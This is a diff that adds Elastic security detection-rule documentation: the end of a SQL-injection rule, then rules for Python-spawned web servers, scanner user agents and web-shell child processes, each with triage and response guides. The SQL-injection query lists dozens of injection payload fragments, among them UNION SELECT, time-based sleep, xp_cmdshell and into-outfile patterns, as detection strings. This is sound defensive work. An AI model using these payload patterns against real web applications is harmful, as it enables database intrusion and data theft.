to avoid reducing detection coverage against real attackers using the same tools. + + +*Response and remediation* + + +- If the request reached the application layer unblocked (`event.outcome: success` / 2xx response) and the payload matches an error-based or UNION-based technique, treat as a potential confirmed data exposure — check application/database logs for evidence of returned sensitive data. +- If a stacked-query or `xp_cmdshell` payload succeeded, escalate immediately — this can lead to OS-level command execution, not just data disclosure. +- Validate that the affected endpoint uses parameterized queries/prepared statements; SQL injection at this scale of tooling almost always indicates raw string concatenation in the query layer. +- If exploitation is confirmed, review the database account's privileges used by the web application (least privilege should prevent `xp_cmdshell`, `INFORMATION_SCHEMA` enumeration, or cross-database access even if injection succeeds). +- Block or rate-limit the source IP/ASN at the WAF or reverse proxy if not already filtered, and consider a virtual-patch WAF rule for the specific vulnerable parameter while the application fix is developed. +- Review other requests from the same source IP across the retention window for prior reconnaissance (e.g., directory enumeration, parameter fuzzing) that may have preceded the injection attempt. + + +==== Rule query + + +[source, js] +---------------------------------- +any where ( +url.original like~ ( + "*dbms_pipe.receive_message%28chr%*", + "*waitfor%20delay%20%270%3a0%3a*", + "*%28select%28sleep%285*", "*%28select%20*from%20pg_sleep%285*", "*%3bselect%20pg_sleep%285*", + "*and%20sleep%28*%29*", "*or%20sleep%28*%29*", "*case%20when*then%20sleep%28*", "*if%28sleep%28*%29*", + "*benchmark%28*%2c*md5%28*", + "*convert%28int%2c%28select%20char%28*", + "*char%28*char%28*char%28*char%28*", + "*concat%28concat%28char%28*", + "*case%20when%20%28*%3d*%29%20then*else*end*", + "*elt%28*%3d*%2c1%29%29*", + "*union%20select%20null%2cnull*", "*union%20all%20select%20null*", + "*union%20all%20select%20*concat%28md5%28*", + "*extractvalue%28*concat%280x*", "*updatexml%28*concat%280x*", + "*procedure%2f%2a%2a%2fanalyse%28extractvalue%28*", + "*gtid_subset%28concat%280x*", "*gtid_subtract%28concat%280x*", + "*mid%28ifnull%28session_user%28%29*", + "*'qq'%2b%28%28select%20@@version%29%29%2b'qq'*", + "*%27%20or%20%271%27%3d%271*", "*%22%20or%20%221%22%3d%221*", "*%27%20or%20%27a%27%3d%27a*", + "*and%201%3d1--*", "*and%201%3d2--*", + "*%29%3bselect*if%28%28ord%28mid%28*", + "*xp_cmdshell*", + "*select%20*into%20outfile*", "*select%20*into%20dumpfile*", + "*load_file%28*", "*load%5ffile%28*", + "*select%20*from%20information_schema.tables*", "*from%20information_schema.columns%20where%20table_schema*", + "*dbms_pipe%2ereceive_message*", "*dbms_lock%2esleep*", + "*select%20@@version*", "*select%20user%28%29*", "*select%20current_user%28%29*", "*select%20database%28%29*", + "*sp_executesql%20*exec%20*", "*xp_dirtree*" + ) + or + url.query like~ ( + "*dbms_pipe.receive_message(chr*", + "*waitfor delay '0:0:*", + "*(select(sleep(5*", "*(select*from pg_sleep(5*", "*;select pg_sleep(5*", + "*and sleep(*)*", "*or sleep(*)*", "*case when*then sleep(*", "*if(sleep(*)*", + "*benchmark(*,*md5(*", + "*convert(int,(select char(*", + "*char(*char(*char(*char(*", + "*concat(concat(char(*", + "*case when (*=*) then*else*end*", + "*elt(*=*,1))*", + "*union select null,null*", "*union all select null*", + "*union all select*concat(md5(*", + "*extractvalue(*concat(0x*", "*updatexml(*concat(0x*", + "*procedure/**/analyse(extractvalue(*", + "*gtid_subset(concat(0x*", "*gtid_subtract(concat(0x*", + "*mid(ifnull(session_user()*", + "*'qq'+((select @@version))+'qq'*", + "*' or '1'='1*", "*\" or \"1\"=\"1*", "*' or 'a'='a*", + "*and 1=1--*", "*and 1=2--*", + "*);select*if((ord(mid(*", + "*xp_cmdshell*", + "*select*into outfile*", "*select*into dumpfile*", + "*load_file(*", + "*select*from information_schema.tables*", "*from information_schema.columns where table_schema*", + "*dbms_pipe.receive_message*", "*dbms_lock.sleep*", + "*select @@version*", "*select user()*", "*select current_user()*", "*select database()*", + "*sp_executesql*exec*", "*xp_dirtree*" + ) +) and +not user_agent.original like~ ( + "*Nessus*", "*Qualys*", "*Acunetix*", "*Tenable*", "*CensysInspect*", "*Detectify*", + "*Assetnote*", "*ExposureScan*", "*RecordedFuture*", "*AppSpider*", "*WebInspect*", + "*Rapid7*", "*InsightVM*", "*Probely*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Vulnerability Scanning +** ID: T1595.002 +** Reference URL: https://attack.mitre.org/techniques/T1595/002/ +* Sub-technique: +** Name: Wordlist Scanning +** ID: T1595.003 +** Reference URL: https://attack.mitre.org/techniques/T1595/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-spawned-via-python.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-spawned-via-python.asciidoc new file mode 100644 index 0000000000..7d8e51a65f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-spawned-via-python.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-web-server-spawned-via-python]] +=== Web Server Spawned via Python + +This rule identifies when a web server is spawned via Python. Attackers may use Python to spawn a web server to exfiltrate/infiltrate data or to move laterally within a network. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Web Server Spawned via Python* + + +Python's built-in HTTP server module allows quick web server deployment, often used for testing or file sharing. Adversaries exploit this to exfiltrate data or facilitate lateral movement within networks. The detection rule identifies processes starting a Python-based server, focusing on command patterns and shell usage, to flag potential misuse on Linux systems. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of a Python-based web server by checking the process name and arguments, specifically looking for "python" with "http.server" or "SimpleHTTPServer". +- Investigate the user account associated with the process to determine if it is a known or expected user for running such services. +- Examine the command line used to start the process for any unusual or suspicious patterns, especially if it involves shell usage like "bash" or "sh" with the command line containing "python -m http.server". +- Check the network activity from the host to identify any unusual outbound connections or data transfers that could indicate data exfiltration. +- Correlate the event with other logs or alerts from the same host to identify any preceding or subsequent suspicious activities that might suggest lateral movement or further exploitation attempts. +- Assess the host's security posture and recent changes to determine if there are any vulnerabilities or misconfigurations that could have been exploited to spawn the web server. + + +*False positive analysis* + + +- Development and testing environments often use Python's HTTP server for legitimate purposes such as serving static files or testing web applications. To manage this, create exceptions for known development servers by excluding specific hostnames or IP addresses. +- Automated scripts or cron jobs may start a Python web server for routine tasks like file distribution within a controlled environment. Identify these scripts and exclude their execution paths or user accounts from the detection rule. +- Educational or training sessions might involve participants using Python's HTTP server to learn web technologies. Exclude these activities by setting time-based exceptions during scheduled training periods. +- System administrators might use Python's HTTP server for quick file transfers or troubleshooting. Document these use cases and exclude the associated user accounts or process command lines from triggering alerts. +- Internal tools or utilities developed in-house may rely on Python's HTTP server for functionality. Review these tools and exclude their specific command patterns or execution contexts from the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further data exfiltration or lateral movement. +- Terminate the suspicious Python process identified by the detection rule to stop the unauthorized web server. +- Conduct a forensic analysis of the affected system to identify any data that may have been accessed or exfiltrated and to determine the initial access vector. +- Review and secure any exposed credentials or sensitive data that may have been compromised during the incident. +- Apply patches and updates to the affected system and any related software to mitigate vulnerabilities that may have been exploited. +- Implement network segmentation to limit the ability of unauthorized processes to communicate across the network. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation and recovery actions are taken. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +( + (process.name like "python*" and process.args in ("http.server", "SimpleHTTPServer")) or + ( + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + process.command_line like~ "*python* -m http.server*" + ) +) and +not process.parent.executable == "/usr/lib/systemd/systemd" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-suspicious-user-agent-requests.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-suspicious-user-agent-requests.asciidoc new file mode 100644 index 0000000000..f0f602545e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-suspicious-user-agent-requests.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-34-web-server-suspicious-user-agent-requests]] +=== Web Server Suspicious User Agent Requests + +This rule detects unusual spikes in web server requests with uncommon or suspicious user-agent strings. Such activity may indicate reconnaissance attempts by attackers trying to identify vulnerabilities in web applications or servers. These user-agents are often associated with automated tools used for scanning, vulnerability assessment, or brute-force attacks. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-11m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Web +* Use Case: Threat Detection +* Tactic: Reconnaissance +* Tactic: Credential Access +* Data Source: Nginx +* Data Source: Apache +* Data Source: Apache Tomcat +* Data Source: IIS +* Data Source: Traefik +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Threat: Web Application Attack +* Rule Type: ES|QL +* Service: Nginx +* Service: IIS +* Service: Apache Tomcat +* Service: Apache HTTP Server + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Web Server Suspicious User Agent Requests* + + +This rule flags surges of web requests that advertise scanner or brute-force tool user agents, signaling active reconnaissance against your web servers and applications. A common pattern is dirsearch or gobuster sweeping for hidden paths, firing hundreds of rapid GETs across diverse URLs from one host and probing admin panels, backup folders, and robots.txt. + + +*Possible investigation steps* + + +- Verify whether the activity aligns with approved scanners or uptime checks by cross-referencing inventories, allowlists, change windows, and egress ranges; otherwise enrich the originating IP with ASN, geolocation, and threat reputation to gauge risk. +- Sample representative requests to identify targeted paths and payloads (e.g., admin panels, .git/.env, backups, traversal, SQLi/XSS markers) and note any successful responses or downloads that indicate information exposure. +- Analyze request rate, methods, and status-code distribution to separate noisy recon from successful discovery or brute-force patterns, highlighting any POST/PUT with nontrivial bodies. +- Correlate the same client across hosts and security layers (application/auth logs, WAF/CDN, IDS) to determine whether it is scanning multiple services, triggering signatures, or attempting credential stuffing. +- Assess user-agent authenticity and evasiveness by comparing HTTP header order/values and TLS fingerprints (JA3/JA4) to expected clients, and verify true client identity via forwarded-for headers if behind a proxy or CDN. + + +*False positive analysis* + + +- Legitimate, scheduled vulnerability assessments by internal teams (e.g., Nessus, Nikto, or OpenVAS) can generate large volumes of requests with those user-agent strings across many paths. +- Developer or QA testing using discovery/fuzzing or intercept-proxy tools (Dirsearch, Gobuster, Ffuf, Burp, or OWASP ZAP) may unintentionally target production hosts, producing a short-lived spike with diverse URLs. + + +*Response and remediation* + + +- Immediately contain by blocking or rate-limiting the originating IPs at the WAF/CDN and edge firewall, and add temporary rules to drop or challenge requests that advertise tool user agents such as "nikto", "sqlmap", "dirsearch", "wpscan", "gobuster", or "burp". +- If traffic is proxied (CDN/reverse proxy), identify the true client via forwarded headers and extend blocks at both layers, enabling bot management or JS challenges on swept paths like /admin, /.git, /.env, /backup, and common discovery endpoints. +- Eradicate exposure by removing or restricting access to sensitive files and directories uncovered by the scans, rotating any credentials or API keys found, invalidating active sessions, and disabling public access to administrative panels until hardened. +- Recover by verifying no unauthorized changes or data exfiltration occurred, tuning per-IP and per-path rate limits to prevent path-sweeps while preserving legitimate traffic, and reintroducing normal rules only after fixes are deployed and stability is confirmed. +- Escalate to incident response if sensitive files are successfully downloaded (HTTP 200/206 on /.git, /.env, or backups), any login or account creation succeeds, multiple hosts or environments are targeted, or activity persists after blocking via UA spoofing or rapid IP rotation. +- Harden long term by enforcing WAF signatures for known scanner UAs and path patterns, denying directory listing and direct access to /.git, /.env, /backup and similar artifacts, requiring MFA/VPN for /admin and management APIs, and deploying auto-ban controls like fail2ban or mod_security. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*, logs-traefik.access-* + +| eval Esql.user_agent_original_to_lower = to_lower(user_agent.original), Esql.url_original_to_lower = to_lower(url.original) + +| where + Esql.user_agent_original_to_lower like "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/74.0.3729.169 safari/537.36" or // Nikto + Esql.user_agent_original_to_lower like "nikto*" or // Nikto + Esql.user_agent_original_to_lower like "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)" or // Nessus Vulnerability Scanner + Esql.user_agent_original_to_lower like "*nessus*" or // Nessus Vulnerability Scanner + Esql.user_agent_original_to_lower like "sqlmap/*" or // SQLMap + Esql.user_agent_original_to_lower like "wpscan*" or // WPScan + Esql.user_agent_original_to_lower like "feroxbuster/*" or // Feroxbuster + Esql.user_agent_original_to_lower like "masscan*" or // Masscan & masscan-ng + Esql.user_agent_original_to_lower like "fuzz*" or // Ffuf + Esql.user_agent_original_to_lower like "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/user_agent.original like~ 87.0.4280.88 safari/537.36" or // Dirsearch + Esql.user_agent_original_to_lower like "mozilla/4.0 (compatible; msie 6.0; windows nt 5.1)" or // Dirb + Esql.user_agent_original_to_lower like "dirbuster*" or // Dirbuster + Esql.user_agent_original_to_lower like "gobuster/*" or // Gobuster + Esql.user_agent_original_to_lower like "*dirsearch*" or // dirsearch + Esql.user_agent_original_to_lower like "*nmap*" or // Nmap Scripting Engine + Esql.user_agent_original_to_lower like "*hydra*" or // Hydra Brute Forcer + Esql.user_agent_original_to_lower like "*w3af*" or // w3af Web Application Attack and Audit Framework + Esql.user_agent_original_to_lower like "*arachni*" or // Arachni Web Application Security Scanner + Esql.user_agent_original_to_lower like "*skipfish*" or // Skipfish Web Application Security Scanner + Esql.user_agent_original_to_lower like "*openvas*" or // OpenVAS Vulnerability Scanner + Esql.user_agent_original_to_lower like "*acunetix*" or // Acunetix Vulnerability Scanner + Esql.user_agent_original_to_lower like "*zap*" or // OWASP ZAP + Esql.user_agent_original_to_lower like "*burp*" // Burp Suite + +| keep + @timestamp, + data_stream.dataset, + user_agent.original, + source.ip, + agent.id, + agent.name, + Esql.url_original_to_lower, + Esql.user_agent_original_to_lower, + data_stream.namespace +| stats + Esql.event_count = count(), + Esql.url_original_count_distinct = count_distinct(Esql.url_original_to_lower), + Esql.agent_name_values = values(agent.name), + Esql.agent_id_values = values(agent.id), + Esql.url_original_values = values(Esql.url_original_to_lower), + Esql.user_agent_original_values = values(Esql.user_agent_original_to_lower), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by source.ip, agent.id +| where + Esql.event_count > 50 and Esql.url_original_count_distinct > 10 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Scanning IP Blocks +** ID: T1595.001 +** Reference URL: https://attack.mitre.org/techniques/T1595/001/ +* Sub-technique: +** Name: Vulnerability Scanning +** ID: T1595.002 +** Reference URL: https://attack.mitre.org/techniques/T1595/002/ +* Sub-technique: +** Name: Wordlist Scanning +** ID: T1595.003 +** Reference URL: https://attack.mitre.org/techniques/T1595/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-shell-detection-script-process-child-of-common-web-processes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-shell-detection-script-process-child-of-common-web-processes.asciidoc new file mode 100644 index 0000000000..d553c4d796 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-shell-detection-script-process-child-of-common-web-processes.asciidoc @@ -0,0 +1,244 @@ +[[prebuilt-rule-8-19-34-web-shell-detection-script-process-child-of-common-web-processes]] +=== Web Shell Detection: Script Process Child of Common Web Processes + +Identifies suspicious commands executed via a web server, which may suggest a vulnerability and remote shell access. + +*Rule type*: new_terms + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/security/blog/2020/02/04/ghost-in-the-shell-investigating-web-shell-attacks/ +* https://www.elastic.co/security-labs/elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965 +* https://www.elastic.co/security-labs/hunting-for-persistence-using-elastic-security-part-1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Web Shell +* Rule Type: New Terms +* Platform: Windows + +*Version*: 425 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Possible investigation steps* + + +- What execution path did the alert capture? + - Focus: child `process.executable` / `process.command_line`; web-parent `process.parent.name`, `process.parent.executable`, and `process.parent.command_line` for IIS/Apache/nginx/PHP CGI/Tomcat/ArcGIS. + - Implication: escalate when a web-facing parent launches a shell, script host, downloader, archive tool, or admin utility outside bounded tasks; lower only when parent context, child path, and command match one exact deployment, health-check, log rotation, or support task. +- Is the child command administration or post-exploitation? + - Focus: `process.command_line`: WMIC, download cradles, archive creation, account/system discovery, service control, credential access, script-host flags, or web-root/temp/backup/app-content paths. + - Hint: for PowerShell, reconstruct script blocks by `host.id` and `process.pid` via `powershell.file.script_block_text`, `powershell.sequence`, and `powershell.total`; missing PowerShell telemetry is unresolved, not benign. + - Implication: escalate when the command stages payloads, runs discovery, creates accounts, changes services, or writes to web-accessible or temp paths; lower suspicion when bounded to one recognized deployment, health-check, log rotation, or support task. +- Is user context human admin or service identity? + - Why: web-process children often inherit app-pool or service identity; `user.id`, `user.name`, and `user.domain` do not prove human initiation. + - Focus: `@timestamp`, `user.id`, `user.name`, `process.Ext.session_info.logon_type`, and `process.parent.command_line`. + - Implication: escalate when service or network logon context launches interactive troubleshooting, remote administration, or off-hours shell activity without a matching window; lower suspicion when identity, logon type, parent pool/service, and command scope fit one exact workflow. +- Does child binary identity fit its command? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.hash.sha256`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when the child is renamed, unsigned/untrusted, user-writable, or mismatched to original file name; lower suspicion when identity and path match stable tooling, but continue because trusted binaries can carry web-shell commands. +- Did file telemetry show web-shell placement, staging, or config changes? + - Focus: if file telemetry exists, review `host.id` file events for child `process.entity_id` or `process.pid`, checking `file.path`, `file.Ext.original.path`, and `file.Ext.windows.zone_identifier`. !{investigate{"description":"","label":"File events for the suspicious child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: web-root script writes without later child starts are adjacent-variant evidence; if the child writes a script or executable, query starts where `process.executable` equals that path on same `host.id`. + - Implication: escalate when the child writes ASPX, ASP, PHP, JSP, JS, BAT, PS1, EXE, DLL, JAR, WAR, or archives to web-accessible/temp/user-writable paths, or a written artifact later executes; missing file telemetry is unresolved, not benign, and absence does not close. +- Did the child launch second-stage processes? + - Focus: child starts on `host.id` where `process.parent.entity_id` equals child `process.entity_id`, checking `process.executable`, `process.command_line`, and `process.hash.sha256`. !{investigate{"description":"","label":"Child process events from the suspicious child","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when descendants include shells, script hosts, downloaders, archive tools, credential utilities, service control, or persistence tooling; absence only narrows impact when command, file, network, and related alerts also fit a benign workflow. +- Did DNS/network telemetry show retrieval or control? + - Focus: if DNS/network telemetry exists, review child `process.entity_id` events on `host.id`, separating `dns.question.name` / `dns.resolved_ip` from `destination.ip` / `destination.port`; compare role with command intent. !{investigate{"description":"","label":"Network events for the suspicious child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: map DNS results to later connection IPs before linking query and connection; if a third-party alert lacks `process.entity_id`, recover the child by `host.id`, `process.pid`, and `@timestamp`. Missing network/DNS telemetry is unresolved, not benign. + - Implication: escalate when the child retrieves tools from public infrastructure, reaches rare/misaligned destinations, or connects outside web-server administration; decide from alert-local process evidence and corroboration when DNS/network telemetry is unavailable. +- Do related alerts show broader compromise? + - Focus: same-web-parent starts and 48h `host.id` alerts for web-shell, credential-access, discovery, archive, lateral-movement, persistence, or anti-forensics. + - !{investigate{"description":"","label":"Process events from the same web parent","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate scope when alerts cluster around the same server role, child command family, or staged artifacts; absence only narrows response scope when local parent-child, command, identity, file, and network evidence are explained. +- What disposition fits? + - Implication: escalate on unexplained server-side execution, exploit-like command intent, suspicious child identity, payload staging, rare destinations, or broader compromise; do not wait for optional pivots when alert-local process evidence is unsafe. Close only when same-host alert-window telemetry proves one exact benign web-server workflow; use outside confirmation for legitimacy gaps. If evidence is mixed or visibility incomplete, preserve artifacts and escalate. + + +*False positive analysis* + + +- Web deployment, post-install validation, health checks, vendor extension install, ArcGIS publishing, or maintenance can spawn "cmd.exe", PowerShell, or "wscript.exe" from web components. Confirm only when parent, child, command, service identity, and artifact/destination evidence describe the same alert-window workflow with no unexpected web-content writes, rare callbacks, or contradictions. +- If telemetry proves shape but not legitimacy, require matching change, deployment, runbook, vendor, or owner confirmation; use prior occurrences post-closure to test exception stability. +- Build exceptions from minimum confirmed pattern: web parent command, child executable/hash/signature, command line, `user.id`, `host.id`, and bounded content path or destination when decisive. Avoid parent name, `process.name`, or `host.id` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment, document exact parent, child, command, service identity, artifact/destination evidence, and confirmation, and create exceptions only from that pattern. +- If suspicious but unconfirmed, preserve the alert/export, process tree, child/parent entity IDs, command lines, hash, staged-file copies, destinations, related alerts, and web/app logs around `@timestamp` before containment or cleanup. +- Apply reversible containment tied to evidence: block confirmed malicious destinations, restrict affected site/app access, disable exposed extension or virtual directory, or increase `host.id` monitoring. Isolate only when evidence and server criticality permit. +- If confirmed malicious, contain the host or terminate the child only after preservation; if direct response is unavailable, escalate with process/artifact/destination/server-log evidence to the team that can contain the server, disable the exposed path, or stop the service. +- Before deletion/restoration, hunt for the same hash, child command, staged path, domain, IP, and port across hosts/accounts. Then remove web shells, scripts, archives, scheduled tasks, dropped utilities, and persistence; restore known-good content/config; rotate exposed service, app, 